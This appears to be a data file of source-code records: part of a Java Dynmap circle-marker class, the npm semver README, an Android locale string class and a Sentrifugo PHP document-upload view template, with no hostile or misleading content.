bare area marker - used for persistence load\n * @param id - marker ID\n * @param set - marker set\n */\n CircleMarkerImpl(String id, MarkerSetImpl set) {\n markerid = id;\n markerset = set;\n label = id;\n markup = false;\n desc = null;\n world = normalized_world = \"world\";\n this.minzoom = -1;\n this.maxzoom = -1;\n x = z = 0;\n y = 64;\n xr = zr = 0;\n }\n /**\n * Load marker from configuration node\n * @param node - configuration node\n */\n boolean loadPersistentData(ConfigurationNode node) {\n label = node.getString(\"label\", markerid);\n markup = node.getBoolean(\"markup\", false);\n world = node.getString(\"world\", \"world\");\n normalized_world = DynmapWorld.normalizeWorldName(world);\n x = node.getDouble(\"x\", 0);\n y = node.getDouble(\"y\", 64);\n z = node.getDouble(\"z\", 0);\n xr = node.getDouble(\"xr\", 0);\n zr = node.getDouble(\"zr\", 0);\n desc = node.getString(\"desc\", null);\n lineweight = node.getInteger(\"strokeWeight\", -1);\n if(lineweight == -1) {\t/* Handle typo-saved value */\n \t lineweight = node.getInteger(\"stokeWeight\", 3);\n }\n lineopacity = node.getDouble(\"strokeOpacity\", 0.8);\n linecolor = node.getInteger(\"strokeColor\", 0xFF0000);\n fillopacity = node.getDouble(\"fillOpacity\", 0.35);\n fillcolor = node.getInteger(\"fillColor\", 0xFF0000);\n boostflag = node.getBoolean(\"boostFlag\", false);\n minzoom = node.getInteger(\"minzoom\", -1);\n maxzoom = node.getInteger(\"maxzoom\", -1);\n String gt = node.getString(\"greeting\", null);\n String gst = node.getString(\"greetingsub\", null);\n if ((gt != null) || (gst != null)) {\n \tgreeting = new EnterExitText();\n \tgreeting.title = gt;\n \tgreeting.subtitle = gst;\n }\n String ft = node.getString(\"farewell\", null);\n String fst = node.getString(\"farewellsub\", null);\n if ((ft != null) || (fst != null)) {\n \tfarewell = new EnterExitText();\n \tfarewell.title = ft;\n \tfarewell.subtitle = fst;\n }\n\n ispersistent = true; /* Loaded from config, so must be */\n \n return true;\n }\n \n void cleanup() {\n markerset = null;\n bb_cache = null;\n }\n \n @Override\n\tpublic String getUniqueMarkerID() {\n \tif (markerset != null) {\n \t\treturn markerset + \":circle:\" + markerid;\n \t}\n \telse {\n \t\treturn null;\n \t}\n }\n\n @Override\n public String getMarkerID() {\n return markerid;\n }\n\n @Override\n public MarkerSet getMarkerSet() {\n return markerset;\n }\n\n @Override\n public void deleteMarker() {\n if(markerset == null) return;\n markerset.removeCircleMarker(this); /* Remove from our marker set (notified by set) */\n cleanup();\n }\n\n @Override\n public boolean isPersistentMarker() {\n return ispersistent;\n }\n\n @Override\n public String getLabel() {\n return label;\n }\n\n @Override\n public void setLabel(String lbl) {\n setLabel(lbl, false);\n }\n \n @Override\n public void setLabel(String lbl, boolean markup) {\n label = lbl;\n this.markup = markup;\n MarkerAPIImpl.circleMarkerUpdated(this, MarkerUpdate.UPDATED);\n if(ispersistent)\n MarkerAPIImpl.saveMarkers();\n }\n\n /**\n * Get configuration node to be saved\n * @return node\n */\n Map getPersistentData() {\n if(!ispersistent) /* Nothing if not persistent */\n return null;\n HashMap node = new HashMap();\n node.put(\"label\", label);\n node.put(\"markup\", markup);\n node.put(\"x\", x);\n node.put(\"y\", y);\n node.put(\"z\", z);\n node.put(\"xr\", xr);\n node.put(\"zr\", zr);\n node.put(\"world\", world);\n if(desc != null)\n node.put(\"desc\", desc);\n node.put(\"strokeWeight\", lineweight);\n node.put(\"strokeOpacity\", lineopacity);\n node.put(\"strokeColor\", linecolor);\n node.put(\"fillOpacity\", fillopacity);\n node.put(\"fillColor\", fillcolor);\n if(boostflag) {\n node.put(\"boostFlag\", true);\n }\n if (minzoom >= 0) {\n node.put(\"minzoom\", minzoom);\n }\n if (maxzoom >= 0) {\n node.put(\"maxzoom\", maxzoom);\n }\n if (greeting != null) {\n \tif (greeting.title != null) {\n \t\tnode.put(\"greeting\", greeting.title);\n \t}\n \tif (greeting.subtitle != null) {\n \t\tnode.put(\"greetingsub\", greeting.subtitle);\n \t} \t\n }\n if (farewell != null) {\n \tif (farewell.title != null) {\n \t\tnode.put(\"farewell\", farewell.title); \t\t\n \t}\n \tif (farewell.subtitle != null) {\n \t\tnode.put(\"farewellsub\", farewell.subtitle); \t\t\n \t}\n } \n return node;\n }\n @Override\n public String getWorld() {\n return world;\n }\n @Override\n public String getNormalizedWorld() {\n return normalized_world;\n }\n @Override\n public boolean isLabelMarkup() {\n return markup;\n }\n @Override\n public void setDescription(String desc) {\n if((this.desc == null) || (this.desc.equals(desc) == false)) {\n this.desc = desc;\n MarkerAPIImpl.circleMarkerUpdated(this, MarkerUpdate.UPDATED);\n if(ispersistent)\n MarkerAPIImpl.saveMarkers();\n }\n }\n /**\n * Get marker description\n * @return descrption\n */\n public String getDescription() {\n return this.desc;\n }\n @Override\n public void setLineStyle(int weight, double opacity, int color) {\n if((weight != lineweight) || (opacity != lineopacity) || (color != linecolor)) {\n lineweight = weight;\n lineopacity = opacity;\n linecolor = color;\n MarkerAPIImpl.circleMarkerUpdated(this, MarkerUpdate.UPDATED);\n if(ispersistent)\n MarkerAPIImpl.saveMarkers();\n }\n }\n @Override\n public int getLineWeight() {\n return lineweight;\n }\n @Override\n public double getLineOpacity() {\n return lineopacity;\n }\n @Override\n public int getLineColor() {\n return linecolor;\n }\n @Override\n public void setFillStyle(double opacity, int color) {\n if((opacity != fillopacity) || (color != fillcolor)) {\n fillopacity = opacity;\n fillcolor = color;\n MarkerAPIImpl.circleMarkerUpdated(this, MarkerUpdate.UPDATED);\n if(ispersistent)\n MarkerAPIImpl.saveMarkers();\n }\n }\n @Override\n public double getFillOpacity() {\n return fillopacity;\n }\n @Override\n public int getFillColor() {\n return fillcolor;\n }\n @Override\n public double getCenterX() {\n return x;\n }\n @Override\n public double getCenterY() {\n return y;\n }\n @Override\n public double getCenterZ() {\n return z;\n }\n @Override\n public void setCenter(String worldid, double x, double y, double z) {\n boolean updated = false;\n if(!worldid.equals(world)) {\n world = worldid;\n normalized_world = DynmapWorld.normalizeWorldName(world);\n updated = true;\n }\n if(this.x != x) {\n this.x = x;\n updated = true;\n }\n if(this.y != y) {\n this.y = y;\n updated = true;\n }\n if(this.z != z) {\n this.z = z;\n updated = true;\n }\n if(updated) {\n MarkerAPIImpl.circleMarkerUpdated(this, MarkerUpdate.UPDATED);\n if(ispersistent)\n MarkerAPIImpl.saveMarkers();\n bb_cache = null;\n }\n }\n @Override\n public double getRadiusX() {\n return xr;\n }\n @Override\n public double getRadiusZ() {\n return zr;\n }\n @Override\n public void setRadius(double xr, double zr) {\n if((this.xr != xr) || (this.zr != zr)) {\n this.xr = xr;\n this.zr = zr;\n MarkerAPIImpl.circleMarkerUpdated(this, MarkerUpdate.UPDATED);\n if(ispersistent)\n MarkerAPIImpl.saveMarkers();\n bb_cache = null;\n }\n }\n @Override\n public void setMarkerSet(MarkerSet newset) {\n if(markerset != null) {\n markerset.removeCircleMarker(this); /* Remove from our marker set (notified by set) */\n }\n markerset = (MarkerSetImpl)newset;\n markerset.insertCircleMarker(this);\n }\n @Override\n public void setBoostFlag(boolean bflag) {\n if (this.boostflag != bflag) {\n this.boostflag = bflag;\n if (markerset != null) {\n setMarkerSet(markerset);\n }\n if(ispersistent)\n MarkerAPIImpl.saveMarkers();\n }\n }\n @Override\n public boolean getBoostFlag() {\n return boostflag;\n }\n\n final boolean testTileForBoostMarkers(DynmapWorld w, HDPerspective perspective, double tile_x, double tile_y, double tile_dim) {\n Map bbc = bb_cache;\n if(bbc == null) {\n bbc = new ConcurrentHashMap();\n }\n BoundingBox bb = bbc.get(perspective.getName());\n if (bb == null) { // No cached bounding box, so generate it\n bb = new BoundingBox();\n Vector3D v = new Vector3D();\n Vector3D v2 = new Vector3D();\n bb.xmin = Double.MAX_VALUE;\n bb.xmax = -Double.MAX_VALUE;\n bb.ymin = Double.MAX_VALUE;\n bb.ymax = -Double.MAX_VALUE;\n int cnt = 16; // Just do 16 points for now\n bb.xp = new double[cnt];\n bb.yp = new double[cnt];\n for(int i = 0; i < cnt; i++) {\n v.x = this.x + (this.xr * Math.cos(2.0*Math.PI*i/cnt));\n v.y = this.y;\n v.z = this.z + (this.zr * Math.sin(2.0*Math.PI*i/cnt));\n perspective.transformWorldToMapCoord(v, v2); // Transform to map coord\n if(v2.x < bb.xmin) bb.xmin = v2.x;\n if(v2.y < bb.ymin) bb.ymin = v2.y;\n if(v2.x > bb.xmax) bb.xmax = v2.x;\n if(v2.y > bb.ymax) bb.ymax = v2.y;\n bb.xp[i] = v2.x;\n bb.yp[i] = v2.y;\n }\n //System.out.println(\"x=\" + bb.xmin + \" - \" + bb.xmax + \", y=\" + bb.ymin + \" - \" + bb.ymax);\n bbc.put(perspective.getName(), bb);\n bb_cache = bbc;\n }\n final double tile_x2 = tile_x + tile_dim;\n final double tile_y2 = tile_y + tile_dim;\n if ((bb.xmin > tile_x2) || (bb.xmax < tile_x) || (bb.ymin > tile_y2) || (bb.ymax < tile_y)) {\n //System.out.println(\"tile: \" + tile_x + \" / \" + tile_y + \" - miss\");\n return false;\n }\n final int cnt = bb.xp.length;\n final double[] px = bb.xp;\n final double[] py = bb.yp;\n /* Now see if tile square intersects polygon - start with seeing if any point inside */\n if(MarkerImpl.testPointInPolygon(tile_x, tile_y, px, py)) { \n return true; // If tile corner inside, we intersect\n }\n if(MarkerImpl.testPointInPolygon(tile_x2, tile_y, px, py)) { \n return true; // If tile corner inside, we intersect\n }\n if(MarkerImpl.testPointInPolygon(tile_x, tile_y2, px, py)) { \n return true; // If tile corner inside, we intersect\n }\n if(MarkerImpl.testPointInPolygon(tile_x2, tile_y2, px, py)) { \n return true; // If tile corner inside, we intersect\n }\n /* Test if any polygon corners are inside square */\n for(int i = 0; i < cnt; i++) { \n if((px[i] >= tile_x) && (px[i] <= tile_x2) && (py[i] >= tile_y) && (py[i] <= tile_y2)) {\n return true; // If poly corner inside tile, we intersect\n }\n }\n // Otherwise, only intersects if at least one edge crosses\n //for (int i = 0, j = cnt-1; i < cnt; j = i++) {\n // // Test for X=tile_x side\n // if ((px[i] < tile_x) && (px[j] >= tile_x) && ()\n // }\n //System.out.println(\"tile: \" + tile_x + \" / \" + tile_y + \" - hit\");\n return false;\n }\n @Override\n public int getMinZoom() {\n return minzoom;\n }\n @Override\n public void setMinZoom(int zoom) {\n if (zoom < 0) zoom = -1;\n if (this.minzoom == zoom) return;\n this.minzoom = zoom;\n MarkerAPIImpl.circleMarkerUpdated(this, MarkerUpdate.UPDATED);\n if(ispersistent)\n MarkerAPIImpl.saveMarkers();\n }\n @Override\n public int getMaxZoom() {\n return maxzoom;\n }\n @Override\n public void setMaxZoom(int zoom) {\n if (zoom < 0) zoom = -1;\n if (this.maxzoom == zoom) return;\n this.maxzoom = zoom;\n MarkerAPIImpl.circleMarkerUpdated(this, MarkerUpdate.UPDATED);\n if(ispersistent)\n MarkerAPIImpl.saveMarkers();\n }\n\t@Override\n\tpublic EnterExitText getGreetingText() {\n\t\treturn greeting;\n\t}\n\t@Override\n\tpublic EnterExitText getFarewellText() {\n\t\treturn farewell;\n\t}\n\t@Override\n\tpublic void setGreetingText(String title, String subtitle) {\n\t\tif ((title != null) || (subtitle != null)) {\n\t\t\tgreeting = new EnterExitText();\n\t\t\tgreeting.title = title;\n\t\t\tgreeting.subtitle = subtitle;\n\t\t}\n\t\telse {\n\t\t\tgreeting = null;\n\t\t}\n if (markerset != null) {\n setMarkerSet(markerset);\n }\n if(ispersistent)\n MarkerAPIImpl.saveMarkers();\n\t}\n\t@Override\n\tpublic void setFarewellText(String title, String subtitle) {\n\t\tif ((title != null) || (subtitle != null)) {\n\t\t\tfarewell = new EnterExitText();\n\t\t\tfarewell.title = title;\n\t\t\tfarewell.subtitle = subtitle;\n\t\t}\n\t\telse {\n\t\t\tfarewell = null;\n\t\t}\n if (markerset != null) {\n setMarkerSet(markerset);\n }\n if(ispersistent)\n MarkerAPIImpl.saveMarkers();\n\t}\n\t@Override\n\tpublic boolean testIfPointWithinMarker(String worldid, double x, double y, double z) {\n\t\t// Wrong world\n\t\tif (!worldid.equals(this.world)) {\n\t\t\treturn false;\n\t\t}\n\t\t// Test if inside ellipse\n\t\tdouble dx = ((x - this.x) * (x - this.x)) / (xr * xr);\n\t\tdouble dz = ((z - this.z) * (z - this.z)) / (zr * zr);\n\t\treturn (dx + dz) <= 1.0;\n\t}\n}\n"} +{"text": "semver(1) -- The semantic versioner for npm\n===========================================\n\n## Install\n\n```bash\nnpm install --save semver\n````\n\n## Usage\n\nAs a node module:\n\n```js\nconst semver = require('semver')\n\nsemver.valid('1.2.3') // '1.2.3'\nsemver.valid('a.b.c') // null\nsemver.clean(' =v1.2.3 ') // '1.2.3'\nsemver.satisfies('1.2.3', '1.x || >=2.5.0 || 5.0.0 - 7.2.3') // true\nsemver.gt('1.2.3', '9.8.7') // false\nsemver.lt('1.2.3', '9.8.7') // true\nsemver.valid(semver.coerce('v2')) // '2.0.0'\nsemver.valid(semver.coerce('42.6.7.9.3-alpha')) // '42.6.7'\n```\n\nAs a command-line utility:\n\n```\n$ semver -h\n\nSemVer 5.3.0\n\nA JavaScript implementation of the http://semver.org/ specification\nCopyright Isaac Z. Schlueter\n\nUsage: semver [options] [ [...]]\nPrints valid versions sorted by SemVer precedence\n\nOptions:\n-r --range \n Print versions that match the specified range.\n\n-i --increment []\n Increment a version by the specified level. Level can\n be one of: major, minor, patch, premajor, preminor,\n prepatch, or prerelease. Default level is 'patch'.\n Only one version may be specified.\n\n--preid \n Identifier to be used to prefix premajor, preminor,\n prepatch or prerelease version increments.\n\n-l --loose\n Interpret versions and ranges loosely\n\n-c --coerce\n Coerce a string into SemVer if possible\n (does not imply --loose)\n\nProgram exits successfully if any valid version satisfies\nall supplied ranges, and prints all satisfying versions.\n\nIf no satisfying versions are found, then exits failure.\n\nVersions are printed in ascending order, so supplying\nmultiple versions to the utility will just sort them.\n```\n\n## Versions\n\nA \"version\" is described by the `v2.0.0` specification found at\n.\n\nA leading `\"=\"` or `\"v\"` character is stripped off and ignored.\n\n## Ranges\n\nA `version range` is a set of `comparators` which specify versions\nthat satisfy the range.\n\nA `comparator` is composed of an `operator` and a `version`. The set\nof primitive `operators` is:\n\n* `<` Less than\n* `<=` Less than or equal to\n* `>` Greater than\n* `>=` Greater than or equal to\n* `=` Equal. If no operator is specified, then equality is assumed,\n so this operator is optional, but MAY be included.\n\nFor example, the comparator `>=1.2.7` would match the versions\n`1.2.7`, `1.2.8`, `2.5.3`, and `1.3.9`, but not the versions `1.2.6`\nor `1.1.0`.\n\nComparators can be joined by whitespace to form a `comparator set`,\nwhich is satisfied by the **intersection** of all of the comparators\nit includes.\n\nA range is composed of one or more comparator sets, joined by `||`. A\nversion matches a range if and only if every comparator in at least\none of the `||`-separated comparator sets is satisfied by the version.\n\nFor example, the range `>=1.2.7 <1.3.0` would match the versions\n`1.2.7`, `1.2.8`, and `1.2.99`, but not the versions `1.2.6`, `1.3.0`,\nor `1.1.0`.\n\nThe range `1.2.7 || >=1.2.9 <2.0.0` would match the versions `1.2.7`,\n`1.2.9`, and `1.4.6`, but not the versions `1.2.8` or `2.0.0`.\n\n### Prerelease Tags\n\nIf a version has a prerelease tag (for example, `1.2.3-alpha.3`) then\nit will only be allowed to satisfy comparator sets if at least one\ncomparator with the same `[major, minor, patch]` tuple also has a\nprerelease tag.\n\nFor example, the range `>1.2.3-alpha.3` would be allowed to match the\nversion `1.2.3-alpha.7`, but it would *not* be satisfied by\n`3.4.5-alpha.9`, even though `3.4.5-alpha.9` is technically \"greater\nthan\" `1.2.3-alpha.3` according to the SemVer sort rules. The version\nrange only accepts prerelease tags on the `1.2.3` version. The\nversion `3.4.5` *would* satisfy the range, because it does not have a\nprerelease flag, and `3.4.5` is greater than `1.2.3-alpha.7`.\n\nThe purpose for this behavior is twofold. First, prerelease versions\nfrequently are updated very quickly, and contain many breaking changes\nthat are (by the author's design) not yet fit for public consumption.\nTherefore, by default, they are excluded from range matching\nsemantics.\n\nSecond, a user who has opted into using a prerelease version has\nclearly indicated the intent to use *that specific* set of\nalpha/beta/rc versions. By including a prerelease tag in the range,\nthe user is indicating that they are aware of the risk. However, it\nis still not appropriate to assume that they have opted into taking a\nsimilar risk on the *next* set of prerelease versions.\n\n#### Prerelease Identifiers\n\nThe method `.inc` takes an additional `identifier` string argument that\nwill append the value of the string as a prerelease identifier:\n\n```javascript\nsemver.inc('1.2.3', 'prerelease', 'beta')\n// '1.2.4-beta.0'\n```\n\ncommand-line example:\n\n```bash\n$ semver 1.2.3 -i prerelease --preid beta\n1.2.4-beta.0\n```\n\nWhich then can be used to increment further:\n\n```bash\n$ semver 1.2.4-beta.0 -i prerelease\n1.2.4-beta.1\n```\n\n### Advanced Range Syntax\n\nAdvanced range syntax desugars to primitive comparators in\ndeterministic ways.\n\nAdvanced ranges may be combined in the same way as primitive\ncomparators using white space or `||`.\n\n#### Hyphen Ranges `X.Y.Z - A.B.C`\n\nSpecifies an inclusive set.\n\n* `1.2.3 - 2.3.4` := `>=1.2.3 <=2.3.4`\n\nIf a partial version is provided as the first version in the inclusive\nrange, then the missing pieces are replaced with zeroes.\n\n* `1.2 - 2.3.4` := `>=1.2.0 <=2.3.4`\n\nIf a partial version is provided as the second version in the\ninclusive range, then all versions that start with the supplied parts\nof the tuple are accepted, but nothing that would be greater than the\nprovided tuple parts.\n\n* `1.2.3 - 2.3` := `>=1.2.3 <2.4.0`\n* `1.2.3 - 2` := `>=1.2.3 <3.0.0`\n\n#### X-Ranges `1.2.x` `1.X` `1.2.*` `*`\n\nAny of `X`, `x`, or `*` may be used to \"stand in\" for one of the\nnumeric values in the `[major, minor, patch]` tuple.\n\n* `*` := `>=0.0.0` (Any version satisfies)\n* `1.x` := `>=1.0.0 <2.0.0` (Matching major version)\n* `1.2.x` := `>=1.2.0 <1.3.0` (Matching major and minor versions)\n\nA partial version range is treated as an X-Range, so the special\ncharacter is in fact optional.\n\n* `\"\"` (empty string) := `*` := `>=0.0.0`\n* `1` := `1.x.x` := `>=1.0.0 <2.0.0`\n* `1.2` := `1.2.x` := `>=1.2.0 <1.3.0`\n\n#### Tilde Ranges `~1.2.3` `~1.2` `~1`\n\nAllows patch-level changes if a minor version is specified on the\ncomparator. Allows minor-level changes if not.\n\n* `~1.2.3` := `>=1.2.3 <1.(2+1).0` := `>=1.2.3 <1.3.0`\n* `~1.2` := `>=1.2.0 <1.(2+1).0` := `>=1.2.0 <1.3.0` (Same as `1.2.x`)\n* `~1` := `>=1.0.0 <(1+1).0.0` := `>=1.0.0 <2.0.0` (Same as `1.x`)\n* `~0.2.3` := `>=0.2.3 <0.(2+1).0` := `>=0.2.3 <0.3.0`\n* `~0.2` := `>=0.2.0 <0.(2+1).0` := `>=0.2.0 <0.3.0` (Same as `0.2.x`)\n* `~0` := `>=0.0.0 <(0+1).0.0` := `>=0.0.0 <1.0.0` (Same as `0.x`)\n* `~1.2.3-beta.2` := `>=1.2.3-beta.2 <1.3.0` Note that prereleases in\n the `1.2.3` version will be allowed, if they are greater than or\n equal to `beta.2`. So, `1.2.3-beta.4` would be allowed, but\n `1.2.4-beta.2` would not, because it is a prerelease of a\n different `[major, minor, patch]` tuple.\n\n#### Caret Ranges `^1.2.3` `^0.2.5` `^0.0.4`\n\nAllows changes that do not modify the left-most non-zero digit in the\n`[major, minor, patch]` tuple. In other words, this allows patch and\nminor updates for versions `1.0.0` and above, patch updates for\nversions `0.X >=0.1.0`, and *no* updates for versions `0.0.X`.\n\nMany authors treat a `0.x` version as if the `x` were the major\n\"breaking-change\" indicator.\n\nCaret ranges are ideal when an author may make breaking changes\nbetween `0.2.4` and `0.3.0` releases, which is a common practice.\nHowever, it presumes that there will *not* be breaking changes between\n`0.2.4` and `0.2.5`. It allows for changes that are presumed to be\nadditive (but non-breaking), according to commonly observed practices.\n\n* `^1.2.3` := `>=1.2.3 <2.0.0`\n* `^0.2.3` := `>=0.2.3 <0.3.0`\n* `^0.0.3` := `>=0.0.3 <0.0.4`\n* `^1.2.3-beta.2` := `>=1.2.3-beta.2 <2.0.0` Note that prereleases in\n the `1.2.3` version will be allowed, if they are greater than or\n equal to `beta.2`. So, `1.2.3-beta.4` would be allowed, but\n `1.2.4-beta.2` would not, because it is a prerelease of a\n different `[major, minor, patch]` tuple.\n* `^0.0.3-beta` := `>=0.0.3-beta <0.0.4` Note that prereleases in the\n `0.0.3` version *only* will be allowed, if they are greater than or\n equal to `beta`. So, `0.0.3-pr.2` would be allowed.\n\nWhen parsing caret ranges, a missing `patch` value desugars to the\nnumber `0`, but will allow flexibility within that value, even if the\nmajor and minor versions are both `0`.\n\n* `^1.2.x` := `>=1.2.0 <2.0.0`\n* `^0.0.x` := `>=0.0.0 <0.1.0`\n* `^0.0` := `>=0.0.0 <0.1.0`\n\nA missing `minor` and `patch` values will desugar to zero, but also\nallow flexibility within those values, even if the major version is\nzero.\n\n* `^1.x` := `>=1.0.0 <2.0.0`\n* `^0.x` := `>=0.0.0 <1.0.0`\n\n### Range Grammar\n\nPutting all this together, here is a Backus-Naur grammar for ranges,\nfor the benefit of parser authors:\n\n```bnf\nrange-set ::= range ( logical-or range ) *\nlogical-or ::= ( ' ' ) * '||' ( ' ' ) *\nrange ::= hyphen | simple ( ' ' simple ) * | ''\nhyphen ::= partial ' - ' partial\nsimple ::= primitive | partial | tilde | caret\nprimitive ::= ( '<' | '>' | '>=' | '<=' | '=' | ) partial\npartial ::= xr ( '.' xr ( '.' xr qualifier ? )? )?\nxr ::= 'x' | 'X' | '*' | nr\nnr ::= '0' | ['1'-'9'] ( ['0'-'9'] ) *\ntilde ::= '~' partial\ncaret ::= '^' partial\nqualifier ::= ( '-' pre )? ( '+' build )?\npre ::= parts\nbuild ::= parts\nparts ::= part ( '.' part ) *\npart ::= nr | [-0-9A-Za-z]+\n```\n\n## Functions\n\nAll methods and classes take a final `loose` boolean argument that, if\ntrue, will be more forgiving about not-quite-valid semver strings.\nThe resulting output will always be 100% strict, of course.\n\nStrict-mode Comparators and Ranges will be strict about the SemVer\nstrings that they parse.\n\n* `valid(v)`: Return the parsed version, or null if it's not valid.\n* `inc(v, release)`: Return the version incremented by the release\n type (`major`, `premajor`, `minor`, `preminor`, `patch`,\n `prepatch`, or `prerelease`), or null if it's not valid\n * `premajor` in one call will bump the version up to the next major\n version and down to a prerelease of that major version.\n `preminor`, and `prepatch` work the same way.\n * If called from a non-prerelease version, the `prerelease` will work the\n same as `prepatch`. It increments the patch version, then makes a\n prerelease. If the input version is already a prerelease it simply\n increments it.\n* `prerelease(v)`: Returns an array of prerelease components, or null\n if none exist. Example: `prerelease('1.2.3-alpha.1') -> ['alpha', 1]`\n* `major(v)`: Return the major version number.\n* `minor(v)`: Return the minor version number.\n* `patch(v)`: Return the patch version number.\n* `intersects(r1, r2, loose)`: Return true if the two supplied ranges\n or comparators intersect.\n\n### Comparison\n\n* `gt(v1, v2)`: `v1 > v2`\n* `gte(v1, v2)`: `v1 >= v2`\n* `lt(v1, v2)`: `v1 < v2`\n* `lte(v1, v2)`: `v1 <= v2`\n* `eq(v1, v2)`: `v1 == v2` This is true if they're logically equivalent,\n even if they're not the exact same string. You already know how to\n compare strings.\n* `neq(v1, v2)`: `v1 != v2` The opposite of `eq`.\n* `cmp(v1, comparator, v2)`: Pass in a comparison string, and it'll call\n the corresponding function above. `\"===\"` and `\"!==\"` do simple\n string comparison, but are included for completeness. Throws if an\n invalid comparison string is provided.\n* `compare(v1, v2)`: Return `0` if `v1 == v2`, or `1` if `v1` is greater, or `-1` if\n `v2` is greater. Sorts in ascending order if passed to `Array.sort()`.\n* `rcompare(v1, v2)`: The reverse of compare. Sorts an array of versions\n in descending order when passed to `Array.sort()`.\n* `diff(v1, v2)`: Returns difference between two versions by the release type\n (`major`, `premajor`, `minor`, `preminor`, `patch`, `prepatch`, or `prerelease`),\n or null if the versions are the same.\n\n### Comparators\n\n* `intersects(comparator)`: Return true if the comparators intersect\n\n### Ranges\n\n* `validRange(range)`: Return the valid range or null if it's not valid\n* `satisfies(version, range)`: Return true if the version satisfies the\n range.\n* `maxSatisfying(versions, range)`: Return the highest version in the list\n that satisfies the range, or `null` if none of them do.\n* `minSatisfying(versions, range)`: Return the lowest version in the list\n that satisfies the range, or `null` if none of them do.\n* `gtr(version, range)`: Return `true` if version is greater than all the\n versions possible in the range.\n* `ltr(version, range)`: Return `true` if version is less than all the\n versions possible in the range.\n* `outside(version, range, hilo)`: Return true if the version is outside\n the bounds of the range in either the high or low direction. The\n `hilo` argument must be either the string `'>'` or `'<'`. (This is\n the function called by `gtr` and `ltr`.)\n* `intersects(range)`: Return true if any of the ranges comparators intersect\n\nNote that, since ranges may be non-contiguous, a version might not be\ngreater than a range, less than a range, *or* satisfy a range! For\nexample, the range `1.2 <1.2.9 || >2.0.0` would have a hole from `1.2.9`\nuntil `2.0.0`, so the version `1.2.10` would not be greater than the\nrange (because `2.0.1` satisfies, which is higher), nor less than the\nrange (since `1.2.8` satisfies, which is lower), and it also does not\nsatisfy the range.\n\nIf you want to know if a version satisfies or does not satisfy a\nrange, use the `satisfies(version, range)` function.\n\n### Coercion\n\n* `coerce(version)`: Coerces a string to semver if possible\n\nThis aims to provide a very forgiving translation of a non-semver\nstring to semver. It looks for the first digit in a string, and\nconsumes all remaining characters which satisfy at least a partial semver\n(e.g., `1`, `1.2`, `1.2.3`) up to the max permitted length (256 characters).\nLonger versions are simply truncated (`4.6.3.9.2-alpha2` becomes `4.6.3`).\nAll surrounding text is simply ignored (`v3.4 replaces v3.3.1` becomes `3.4.0`).\nOnly text which lacks digits will fail coercion (`version one` is not valid).\nThe maximum length for any semver component considered for coercion is 16 characters;\nlonger components will be ignored (`10000000000000000.4.7.4` becomes `4.7.4`).\nThe maximum value for any semver component is `Integer.MAX_SAFE_INTEGER || (2**53 - 1)`;\nhigher value components are invalid (`9999999999999999.4.7.4` is likely invalid).\n"} +{"text": "package com.way.upgrade.locale;\r\n\r\npublic class LocaleEnglish extends LocaleHandler {\r\n\tpublic static final String defaultLocale = \"en\";\r\n\r\n\t@Override\r\n\tpublic String getDialogTitle() {\r\n\t\treturn \"Find New Version,Update Now?\";\r\n\t}\r\n\r\n\t@Override\r\n\tpublic String getProgressDialogTitle() {\r\n\t\treturn \"Check Update\";\r\n\t}\r\n\r\n\t@Override\r\n\tpublic String getProgressDialogMessage() {\r\n\t\treturn \"Checking\";\r\n\t}\r\n\r\n\t@Override\r\n\tpublic String getToastMessage() {\r\n\t\treturn \"Is the latest version\";\r\n\t}\r\n\r\n\t@Override\r\n\tpublic String getToastNetErrorMessage() {\r\n\t\treturn \"Net Error\";\r\n\t}\r\n\r\n}\r\n"} +{"text": ".\n *\n * Sentrifugo Support \n ********************************************************************************/\n\nif($this->ermsg == 'nocategory')\n{\n?>\n\t
    Category not found.
    \nermsg == 'invalidUrl')\n{\n?>\n\t
    Invalid URL.
    \nermsg == 'noprivilege')\n{\n?>\n\t
    You are not authorized to access this page.
    \nform);\n?>\ncss/screen.css\">\n\ncss/uploadfile.css\" />\n\n\ncss/prettyPhoto.css\" />\n
    form->getName(); ?>\" id=\"form->getId(); ?>\" method=\"POST\" action='form->getAction();?>' onsubmit=\"return validateUploadDoc();\">\n\t
    \n\t\t
    \n\t\t\t\n\t\t\t
    form->category_id; ?>\n\t\t\t\t\n\t\t\t\tmsgarray['category_id'])){?>\n\t\t\t\tmsgarray['category_id'];?>\n\t\t\t\t\n\t\t\t\t\n\t\t\t
    \n\t\t
    \n\t\t
    \n\t\t\t\n\t\t\t\tAdd More documents\n\t\t\t\t\t\t\t\t\t\n\t\t
    \n\t\t
    (You can add upto 5 documents at a time. Documents should be of PDF or Word format only.)
    \n\n\t\t
    \n\t\t
    \n\t\n\t\t\t
    \n\t\t\t\t
    \n\t\t\t\t\t\n\t\t\t\t\t
    \n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\tmsgarray['category_id'])){?>\n\t\t\t\t\t\t\t\tmsgarray['category_id'];?>\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t\t\t\n\t\t\t\t\t
    \n\t\t\t\t\t\t\n\t\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t\t\t\n\t\t\t\t\t
    \n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\tmsgarray['document_version'])){?>\n\t\t\t\t\t\t\t\tmsgarray['document_version'];?>\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t\t\t\n\t\t\t\t\t
    \n\t\t\t\t\t\tbaseUrl(\"public/media/images/loaderwhite_21X21.gif\");?>\" style=\"width:21px; height: 21px; float: none; \"/>\n\t\t\t\t\t
    \n\t\t\t\t\t
    \n\t\t\t\t\t\tUpload Document\n\t\t\t\t\t
    \n\t\t\t\t\t\n\t\t\t\t\tmsgarray['doc_attachment'])){\n\t\t\t\t\t\t\techo $this->msgarray['doc_attachment'];\n\t\t\t\t\t\t}\n\t\t\t\t\t?>\n\t\t\t\t\t\n\t\t\t\t
    \n\n\t\t\t\tfile_original_names)){ echo $this->file_original_names;}?>\">\n\t\t\t\tfile_new_names)){echo $this->file_new_names;}?>\">\n\t\t\t\t\n\t\t\t
    \n\t\n\t\t
    \n\t\tredirectUrl; ?>\">\n\t
    \n\t\n \t
    \n\t\tform->submit; ?>\n\t\t\n\t
    \n\n\t
